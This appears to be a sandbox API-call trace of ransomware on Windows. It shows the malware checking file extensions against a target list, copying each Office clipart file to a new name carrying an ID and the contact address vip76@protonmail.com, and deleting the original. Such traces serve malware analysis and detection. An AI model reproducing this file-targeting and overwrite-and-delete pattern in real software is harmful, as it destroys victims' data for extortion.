	[0086.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.019] lstrlenW (lpString=".doc") returned 4
	[0086.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.019] lstrlenW (lpString=".docx") returned 5
	[0086.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.019] lstrlenW (lpString=".pdf") returned 4
	[0086.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.019] lstrlenW (lpString=".xls") returned 4
	[0086.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.019] lstrlenW (lpString=".xlsx") returned 5
	[0086.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.019] lstrlenW (lpString=".ppt") returned 4
	[0086.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.019] lstrlenW (lpString=".zip") returned 4
	[0086.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.019] lstrlenW (lpString=".rar") returned 4
	[0086.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.019] lstrlenW (lpString=".bz2") returned 4
	[0086.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.019] lstrlenW (lpString=".7z") returned 3
	[0086.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.019] lstrlenW (lpString=".dbf") returned 4
	[0086.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.019] lstrlenW (lpString=".1cd") returned 4
	[0086.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68
	[0086.019] lstrlenW (lpString=".jpg") returned 4
	[0086.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.020] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.020] lstrlenW (lpString="ED00010_.WMF") returned 12
	[0086.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.020] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=1382) returned 1
	[0086.020] CloseHandle (hObject=0x37c) returned 1
	[0086.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x220
	[0086.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.021] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.021] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.021] GetLastError () returned 0x0
	[0086.021] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x566, lpOverlapped=0x0) returned 1
	[0086.022] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x570, lpOverlapped=0x0) returned 1
	[0086.024] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.024] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.024] SetEndOfFile (hFile=0x320) returned 1
	[0086.024] CloseHandle (hObject=0x320) returned 1
	[0086.025] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.025] SetEndOfFile (hFile=0x37c) returned 1
	[0086.025] CloseHandle (hObject=0x37c) returned 1
	[0086.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00010_.wmf")) returned 1
	[0086.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.026] lstrlenW (lpString=".doc") returned 4
	[0086.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.026] lstrlenW (lpString=".docx") returned 5
	[0086.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.026] lstrlenW (lpString=".pdf") returned 4
	[0086.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.026] lstrlenW (lpString=".xls") returned 4
	[0086.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.026] lstrlenW (lpString=".xlsx") returned 5
	[0086.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.026] lstrlenW (lpString=".ppt") returned 4
	[0086.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.026] lstrlenW (lpString=".zip") returned 4
	[0086.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.026] lstrlenW (lpString=".rar") returned 4
	[0086.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.026] lstrlenW (lpString=".bz2") returned 4
	[0086.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.026] lstrlenW (lpString=".7z") returned 3
	[0086.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.027] lstrlenW (lpString=".dbf") returned 4
	[0086.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.027] lstrlenW (lpString=".1cd") returned 4
	[0086.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.027] lstrlenW (lpString=".jpg") returned 4
	[0086.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.027] lstrlenW (lpString=".doc") returned 4
	[0086.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.027] lstrlenW (lpString=".docx") returned 5
	[0086.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.027] lstrlenW (lpString=".pdf") returned 4
	[0086.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.027] lstrlenW (lpString=".xls") returned 4
	[0086.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.028] lstrlenW (lpString=".xlsx") returned 5
	[0086.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.028] lstrlenW (lpString=".ppt") returned 4
	[0086.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.028] lstrlenW (lpString=".zip") returned 4
	[0086.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.028] lstrlenW (lpString=".rar") returned 4
	[0086.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.028] lstrlenW (lpString=".bz2") returned 4
	[0086.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.028] lstrlenW (lpString=".7z") returned 3
	[0086.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.028] lstrlenW (lpString=".dbf") returned 4
	[0086.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.028] lstrlenW (lpString=".1cd") returned 4
	[0086.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0086.028] lstrlenW (lpString=".jpg") returned 4
	[0086.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.028] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.028] lstrlenW (lpString="ED00019_.WMF") returned 12
	[0086.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.029] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=13042) returned 1
	[0086.029] CloseHandle (hObject=0x37c) returned 1
	[0086.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220
	[0086.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.029] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.029] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.029] GetLastError () returned 0x0
	[0086.029] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x32f2, lpOverlapped=0x0) returned 1
	[0086.031] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x3300, lpOverlapped=0x0) returned 1
	[0086.033] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.033] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.033] SetEndOfFile (hFile=0x320) returned 1
	[0086.033] CloseHandle (hObject=0x320) returned 1
	[0086.033] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.033] SetEndOfFile (hFile=0x37c) returned 1
	[0086.034] CloseHandle (hObject=0x37c) returned 1
	[0086.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.035] lstrlenW (lpString=".doc") returned 4
	[0086.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString=".docx") returned 5
	[0086.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.035] lstrlenW (lpString=".pdf") returned 4
	[0086.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString=".xls") returned 4
	[0086.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.035] lstrlenW (lpString=".xlsx") returned 5
	[0086.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.035] lstrlenW (lpString=".ppt") returned 4
	[0086.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.035] lstrlenW (lpString=".zip") returned 4
	[0086.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.035] lstrlenW (lpString=".rar") returned 4
	[0086.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString=".bz2") returned 4
	[0086.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString=".7z") returned 3
	[0086.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.035] lstrlenW (lpString=".dbf") returned 4
	[0086.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.035] lstrlenW (lpString=".1cd") returned 4
	[0086.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.035] lstrlenW (lpString=".jpg") returned 4
	[0086.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.036] lstrlenW (lpString=".doc") returned 4
	[0086.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString=".docx") returned 5
	[0086.036] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.036] lstrlenW (lpString=".pdf") returned 4
	[0086.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString=".xls") returned 4
	[0086.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.036] lstrlenW (lpString=".xlsx") returned 5
	[0086.036] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.036] lstrlenW (lpString=".ppt") returned 4
	[0086.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.036] lstrlenW (lpString=".zip") returned 4
	[0086.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.036] lstrlenW (lpString=".rar") returned 4
	[0086.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString=".bz2") returned 4
	[0086.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString=".7z") returned 3
	[0086.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.036] lstrlenW (lpString=".dbf") returned 4
	[0086.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.036] lstrlenW (lpString=".1cd") returned 4
	[0086.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0086.036] lstrlenW (lpString=".jpg") returned 4
	[0086.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.037] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.037] lstrlenW (lpString="ED00172_.WMF") returned 12
	[0086.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.037] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2700) returned 1
	[0086.037] CloseHandle (hObject=0x37c) returned 1
	[0086.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220
	[0086.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.037] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.037] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0086.038] GetLastError () returned 0x0
	[0086.038] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xa8c, lpOverlapped=0x0) returned 1
	[0086.039] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xa90, lpOverlapped=0x0) returned 1
	[0086.040] ReadFile (in: hFile=0x37c, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.040] WriteFile (in: hFile=0x320, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.040] SetEndOfFile (hFile=0x320) returned 1
	[0086.040] CloseHandle (hObject=0x320) returned 1
	[0086.040] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.040] SetEndOfFile (hFile=0x37c) returned 1
	[0086.041] CloseHandle (hObject=0x37c) returned 1
	[0086.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1
	[0086.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.042] lstrlenW (lpString=".doc") returned 4
	[0086.042] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.042] lstrlenW (lpString=".docx") returned 5
	[0086.042] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.042] lstrlenW (lpString=".pdf") returned 4
	[0086.042] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.042] lstrlenW (lpString=".xls") returned 4
	[0086.042] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.042] lstrlenW (lpString=".xlsx") returned 5
	[0086.042] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.042] lstrlenW (lpString=".ppt") returned 4
	[0086.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.042] lstrlenW (lpString=".zip") returned 4
	[0086.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.042] lstrlenW (lpString=".rar") returned 4
	[0086.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.042] lstrlenW (lpString=".bz2") returned 4
	[0086.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.042] lstrlenW (lpString=".7z") returned 3
	[0086.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.042] lstrlenW (lpString=".dbf") returned 4
	[0086.042] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.042] lstrlenW (lpString=".1cd") returned 4
	[0086.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0086.043] lstrlenW (lpString=".jpg") returned 4
	[0086.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
